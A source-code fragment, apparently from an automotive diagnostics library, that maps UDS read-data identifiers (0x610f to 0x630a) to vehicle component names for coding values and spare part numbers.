UDS_RDBI.dataIdentifiers[0x610f] = "Rear_light_right_1_Coding_Values" UDS_RDBI.dataIdentifiers[0x6110] = "Rear_light_right_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x6111] = "Sunlight_sensor_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x6112] = "Radiator_shutter_Coding_Values" UDS_RDBI.dataIdentifiers[0x6113] = "Radiator_shutter_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x6114] = "Radiator_shutter_3_Coding_Values" UDS_RDBI.dataIdentifiers[0x6115] = "Radiator_shutter_4_Coding_Values" UDS_RDBI.dataIdentifiers[0x6118] = "Special_key_operating_unit_Coding_Values" UDS_RDBI.dataIdentifiers[0x6119] = "Radio_interface_Coding_Values" UDS_RDBI.dataIdentifiers[0x611a] = "Video_self_protection_recorder_Coding_Values" UDS_RDBI.dataIdentifiers[0x611b] = "Special_vehicle_assist_interface_Coding_Values" UDS_RDBI.dataIdentifiers[0x611c] = "Electric_system_disconnection_diode_Coding_Values" UDS_RDBI.dataIdentifiers[0x611d] = "Cradle_rear_climatronic_operating_and_display_unit_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x611e] = "Belt_pretensioner_2nd_row_left_Coding_Values" UDS_RDBI.dataIdentifiers[0x611f] = "Belt_pretensioner_2nd_row_right_Coding_Values" UDS_RDBI.dataIdentifiers[0x6120] = "Electrical_variable_camshaft_phasing_1_Coding_Values" UDS_RDBI.dataIdentifiers[0x6121] = "Electrical_variable_camshaft_phasing_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x6122] = "Wireless_operating_unit_1_Coding_Values" UDS_RDBI.dataIdentifiers[0x6123] = "Wireless_operating_unit_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x6124] = "Front_windshield_washer_pump_Coding_Values" UDS_RDBI.dataIdentifiers[0x6125] = "Air_quality_sensor_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x6126] = "Fragrancing_system_Coding_Values" UDS_RDBI.dataIdentifiers[0x6127] = "Coolant_valve_Coding_Values" UDS_RDBI.dataIdentifiers[0x6128] = "Near_field_communication_control_module_3_Coding_Values" UDS_RDBI.dataIdentifiers[0x6129] = "Interior_monitoring_rear_Coding_Values" UDS_RDBI.dataIdentifiers[0x612a] = "Cooler_fan_1_Coding_Values" UDS_RDBI.dataIdentifiers[0x612b] = "Control_unit_heating_1_Coding_Values" UDS_RDBI.dataIdentifiers[0x612c] = "Control_unit_heating_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x612d] = "Control_unit_heating_3_Coding_Values" UDS_RDBI.dataIdentifiers[0x612e] = "Control_unit_heating_4_Coding_Values" UDS_RDBI.dataIdentifiers[0x612f] = "Operating_unit_drive_mode_selection_Coding_Values" UDS_RDBI.dataIdentifiers[0x6130] = "Side_sensor_a-pillar_driver_front_Coding_Values" UDS_RDBI.dataIdentifiers[0x6131] = "Side_sensor_a-pillar_passenger_front_Coding_Values" UDS_RDBI.dataIdentifiers[0x6132] = "Sensor_high_voltage_system_1_Coding_Values" UDS_RDBI.dataIdentifiers[0x6133] = "Side_sensor_b-pillar_driver_front_Coding_Values" UDS_RDBI.dataIdentifiers[0x6134] = "Side_sensor_b-pillar_passenger_front_Coding_Values" UDS_RDBI.dataIdentifiers[0x6135] = "Multi_function_steering_wheel_control_module_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x6136] = "Gear_selection_display_Coding_Values" UDS_RDBI.dataIdentifiers[0x6137] = "Cooler_fan_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x6138] = "Gear_selector_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x6139] = "Interior_light_module_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x613a] = "Radio_control_center_Coding_Values" UDS_RDBI.dataIdentifiers[0x613b] = "Multimedia_extension_Coding_Values" UDS_RDBI.dataIdentifiers[0x613c] = "Control_unit_differential_lock_Coding_Values" UDS_RDBI.dataIdentifiers[0x613d] = "Control_unit_ride_control_system_Coding_Values" UDS_RDBI.dataIdentifiers[0x613e] = "Control_unit_hands_on_detection_steering_wheel_Coding_Values" UDS_RDBI.dataIdentifiers[0x613f] = "Front_climatronic_operating_and_display_unit_Coding_Values" UDS_RDBI.dataIdentifiers[0x6140] = "Auxiliary_display_unit_Coding_Values" UDS_RDBI.dataIdentifiers[0x6141] = "Card_reader_tv_tuner_Coding_Values" UDS_RDBI.dataIdentifiers[0x6142] = "Park_lock_actuator_Coding_Values" UDS_RDBI.dataIdentifiers[0x6143] = "Media_connector_Coding_Values" UDS_RDBI.dataIdentifiers[0x6144] = "Catalyst_heating_Coding_Values" UDS_RDBI.dataIdentifiers[0x6201] = "Control_unit_for_wiper_motor_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6202] = "Rain_light_recognition_sensor_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6203] = "Light_switch_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6204] = "Garage_door_opener_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6205] = "Garage_door_opener_operating_unit_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6206] = "Ignition_key_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6207] = "Left_front_seat_ventilation_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6208] = "Right_front_seat_ventilation_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6209] = "Left_rear_seat_ventilation_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x620a] = "LED_headlamp_powermodule_left_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x620b] = "LED_headlamp_powermodule_right_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x620c] = "LED_headlamp_powermodule_2_left_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x620d] = "LED_headlamp_powermodule_2_right_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x620e] = "Operating_and_display_unit_1_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x620f] = "Operating_and_display_unit_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6210] = "Right_rear_seat_ventilation_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6211] = "Data_medium_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6212] = "Drivers_door_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6213] = "Front_passengers_door_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6214] = "Left_headlamp_power_output_stage_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6215] = "Right_headlamp_power_output_stage_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6216] = "Sensor_for_anti_theft_alarm_system_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6217] = "Rear_lid_control_module_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6218] = "Alarm_horn_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6219] = "Automatic_day_night_interior_mirror_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x621a] = "Remote_control_auxiliary_heater_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x621b] = "Fresh_air_blower_front_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x621c] = "Fresh_air_blower_back_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x621d] = "Alternator_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x621e] = "Interior_light_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x621f] = "Refrigerant_pressure_and_temperature_sender_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6220] = "Sun_roof_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6221] = "Steering_column_lock_actuator_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6222] = "Anti_theft_tilt_system_control_unit_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6223] = "Tire_pressure_monitor_antenna_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6224] = "Heated_windshield_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6225] = "Rear_light_left_1_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6226] = "Ceiling_light_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6227] = "Left_front_massage_seat_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6228] = "Right_front_massage_seat_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6229] = "Control_module_for_auxiliary_air_heater_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x622a] = "Belt Pretensioner left_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x622b] = "Belt Pretensioner right_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x622c] = "Occupant Detection_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x622d] = "Selector_lever_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x622e] = "NOx_sensor_1_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x622f] = "NOx_sensor_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6230] = "Ioniser_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6231] = "Multi_function_steering_wheel_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6232] = "Left_rear_door_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6233] = "Right_rear_door_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6234] = "Left_rear_massage_seat_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6235] = "Right_rear_massage_seat_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6236] = "Display_unit_1_for_multimedia_system_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6237] = "Battery_monitoring_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6238] = "Roof_blind_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6239] = "Sun_roof_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x623a] = "Steering_angle_sender_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x623b] = "Lane_change_assistant 2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x623c] = "Pitch_rate_sender_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x623d] = "ESP_sensor_unit_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x623e] = "Electronic_ignition_lock_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x623f] = "Air_quality_sensor_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6240] = "Display_unit_2_for_multimedia_system_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6241] = "Telephone_handset_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6242] = "Chip_card_reader_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6243] = "Traffic_data_aerial_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6244] = "Hands_free_system_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6245] = "Telephone_handset_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6246] = "Display_unit_front_for_multimedia_system_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6247] = "Multimedia_operating_unit_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6248] = "Digital_sound_system_control_module_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6249] = "Electrically_adjustable_steering_column_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x624a] = "Interface_for_external_multimedia_unit_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x624b] = "Relative_Air_Humidity_Interior_Sender_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x624c] = "Drivers_door_rear_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x624d] = "Passengers_rear_door_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x624e] = "Sensor_controlled_power_rear_lid_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x624f] = "Camera_for_night_vision_system_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6250] = "Relative_humidity_sensor_in_fresh_air_intake_duct_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6251] = "Rear_spoiler_adjustment_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6252] = "Roof_blind_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6253] = "Motor_for_wind_deflector_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6254] = "Voltage_stabilizer_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6255] = "Switch_module_for_driver_seat_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6256] = "Switch_module_for_front_passenger_seat_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6257] = "Switch_module_for_rear_seat_driver_side_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6258] = "Switch_module_for_rear_seat_front_passenger_side_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6259] = "Switch_module_2_for_driver_seat_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x625a] = "Battery_charger_unit_1_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x625b] = "Battery_charger_unit_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x625c] = "Battery_charger_unit_3_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x625d] = "Air_conditioning_compressor_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x625e] = "Neck_heating_left_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x625f] = "Neck_heating_right_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6260] = "Switch_module_2_for_front_passenger_seat_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6261] = "Switch_module_2_for_rear_seat_front_passenger_side_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6262] = "Compact_disc_database_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6263] = "Rear_climatronic_operating_and_display_unit_left_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6264] = "Rear_climatronic_operating_and_display_unit_right_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6265] = "Door_handle_front_left_Kessy_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6266] = "Door_handle_front_right_Kessy_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6267] = "Door_handle_rear_left_Kessy_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6268] = "Door_handle_rear_right_Kessy_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6269] = "Power_converter_DC_AC_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x626a] = "Battery_monitoring_control_module_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x626b] = "Matrix_headlamp_powermodule_1_left_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x626c] = "Matrix_headlamp_powermodule_1_right_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x626d] = "High_beam_powermodule_left_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x626e] = "High_beam_powermodule_right_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x626f] = "Air_suspension_compressor_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6270] = "Rear_brake_actuator_1_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6271] = "Rear_brake_actuator_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6272] = "Analog_clock_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6273] = "Rear_door_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6279] = "Data_medium_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x627a] = "Operating_unit_center_console_1_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x627b] = "Operating_unit_center_console_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x627c] = "Operating_unit_center_console_3_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x627d] = "Operating_unit_center_console_4_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x627e] = "Interface_for_radiodisplay_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x627f] = "Parkassist_entry_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6286] = "Belt_pretensioner_3rd_row_left_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6287] = "Belt_pretensioner_3rd_row_right_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6288] = "Injection_valve_heater_control_unit_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6289] = "Steering_column_switch_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x628a] = "Brake_assistance_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x628b] = "Trailer_articulation_angle_sensor_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x628c] = "Cup_holder_with_heater_and_cooling_element_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x628d] = "Range_of_vision_sensing_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x628e] = "Convenience_and_driver_assist_operating_unit_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x628f] = "Cradle_rear_climatronic_operating_and_display_unit_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6290] = "Trailer_weight_nose_weight_detection_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6291] = "Sensor_carbon_dioxide_concentration_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6292] = "Sensor_fine_dust_concentration_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6293] = "Volume_control_1_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6294] = "Belt_buckle_presenter_2nd_row_left_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6295] = "Belt_buckle_presenter_2nd_row_right_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6296] = "Operating_and_display_unit_6_for_air_conditioning_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6297] = "Active_accelerator_pedal_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6298] = "Multimedia_operating_unit_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6299] = "Display_unit_3_for_multimedia_system_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x629a] = "Display_unit_4_for_multimedia_system_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x629b] = "Display_unit_5_for_multimedia_system_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x629c] = "Control_module_for_auxiliary_blower_motors_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x629d] = "Operating_and_display_unit_3_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x629e] = "Operating_and_display_unit_4_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x629f] = "Operating_and_display_unit_5_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62a0] = "Side Sensor Driver Front_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62a1] = "Side Sensor Passenger Front_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62a2] = "Side Sensor Driver Rear_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62a3] = "Side Sensor Passenger Rear_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62a4] = "Front Sensor Driver_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62a5] = "Front Sensor Passenger_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62a6] = "Pedestrian Protection Driver_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62a7] = "Pedestrian Protection Passenger_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62a8] = "Rear Sensor Center_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62a9] = "Pedestrian Protection Center_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62aa] = "Pedestrian Protection Contact_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62ab] = "Pedestrian_protection_driver_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62ac] = "Pedestrian_protection_passenger_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62ad] = "Central_sensor_XY_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62ae] = "Refrigerant_pressure_and_temperature_sender_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62af] = "Refrigerant_pressure_and_temperature_sender_3_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62b0] = "Switch_for_rear_multicontour_seat_driver_side_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62b1] = "Valve_block_1_in_driver_side_rear_seat_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62b2] = "Valve_block_2_in_driver_side_rear_seat_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62b3] = "Valve_block_3_in_driver_side_rear_seat_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62b4] = "Switch_for_rear_multicontour_seat_passenger_side_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62b5] = "Valve_block_1_in_passenger_side_rear_seat_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62b6] = "Valve_block_2_in_passenger_side_rear_seat_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62b7] = "Valve_block_3_in_passenger_side_rear_seat_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62b8] = "Switch_for_front_multicontour_seat_driver_side_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62b9] = "Valve_block_1_in_driver_side_front_seat_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62ba] = "Valve_block_2_in_driver_side_front_seat_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62bb] = "Valve_block_3_in_driver_side_front_seat_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62bc] = "Switch_for_front_multicontour_seat_passenger_side_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62bd] = "Valve_block_1_in_passenger_side_front_seat_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62be] = "Valve_block_2_in_passenger_side_front_seat_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62bf] = "Valve_block_3_in_passenger_side_front_seat_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62c0] = "Coolant_heater_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62c1] = "Seat_backrest_fan_1_front_left_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62c2] = "Seat_backrest_fan_2_front_left_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62c3] = "Seat_cushion_fan_1_front_left_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62c4] = "Seat_cushion_fan_2_front_left_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62c5] = "Seat_backrest_fan_1_front_right_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62c6] = "Seat_backrest_fan_2_front_right_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62c7] = "Seat_cushion_fan_1_front_right_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62c8] = "Seat_cushion_fan_2_front_right_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62c9] = "Operating_and_display_unit_1_for_air_conditioning_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62ca] = "Operating_and_display_unit_2_for_air_conditioning_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62cb] = "Operating_and_display_unit_3_for_air_conditioning_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62cc] = "Operating_and_display_unit_4_for_air_conditioning_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62cd] = "Operating_and_display_unit_5_for_air_conditioning_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62ce] = "Pedestrian_protection_left_hand_side_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62cf] = "Pedestrian_protection_right_hand_side_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62d0] = "Battery_junction_box_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62d1] = "Cell_module_controller_1_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62d2] = "Cell_module_controller_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62d3] = "Cell_module_controller_3_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62d4] = "Cell_module_controller_4_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62d5] = "Cell_module_controller_5_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62d6] = "Cell_module_controller_6_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62d7] = "Cell_module_controller_7_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62d8] = "Cell_module_controller_8_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62d9] = "Cell_module_controller_9_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62da] = "Cell_module_controller_10_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62db] = "Cell_module_controller_11_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62dc] = "Cell_module_controller_12_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62dd] = "Seat_backrest_fan_1_rear_left_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62de] = "Seat_backrest_fan_2_rear_left_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62df] = "Seat_cushion_fan_1_rear_left_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62e0] = "Seat_cushion_fan_2_rear_left_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62e1] = "Seat_backrest_fan_1_rear_right_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62e2] = "Seat_backrest_fan_2_rear_right_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62e3] = "Seat_cushion_fan_1_rear_right_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62e4] = "Seat_cushion_fan_2_rear_right_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62e5] = "Auxiliary_blower_motor_control_1_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62e6] = "Auxiliary_blower_motor_control_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62e7] = "Infrared_sender_for_front_observation_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62e8] = "Starter_generator_control_module_sub_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62e9] = "Media_player_1_sub_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62ea] = "Media_player_2_sub_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62eb] = "Dedicated_short_range_communication_aerial_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62ec] = "Refrigerant_pressure_and_temperature_sender_4_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62ed] = "Refrigerant_pressure_and_temperature_sender_5_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62ee] = "Refrigerant_pressure_and_temperature_sender_6_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62ef] = "Air_coolant_actuator_1_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62f0] = "Air_coolant_actuator_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62f1] = "Cell_module_controller_13_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62f2] = "Cell_module_controller_14_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62f3] = "Cell_module_controller_15_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62f5] = "Seat_heating_rear_1_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62f6] = "LED_warning_indicator_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62f7] = "Automatic_transmission_fluid_pump_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62f8] = "Manual_transmission_fluid_pump_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62f9] = "Convenience_and_driver_assist_operating_unit_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62fb] = "Air_coolant_actuator_3_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62fc] = "Valve_block_4_in_driver_side_rear_seat_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62fd] = "Valve_block_4_in_passenger_side_rear_seat_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62fe] = "Valve_block_4_in_driver_side_front_seat_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62ff] = "Valve_block_4_in_passenger_side_front_seat_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6301] = "Rear_climatronic_operating_and_display_unit_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6302] = "Refrigerant_expansion_valve_1_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6303] = "Refrigerant_expansion_valve_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6304] = "Refrigerant_expansion_valve_3_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6305] = "Refrigerant_shut_off_valve_1_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6306] = "Refrigerant_shut_off_valve_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6307] = "Refrigerant_shut_off_valve_3_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6308] = "Refrigerant_shut_off_valve_4_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6309] = "Refrigerant_shut_off_valve_5_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x630a] = "Sunlight_sensor_Spare_Part_Number" 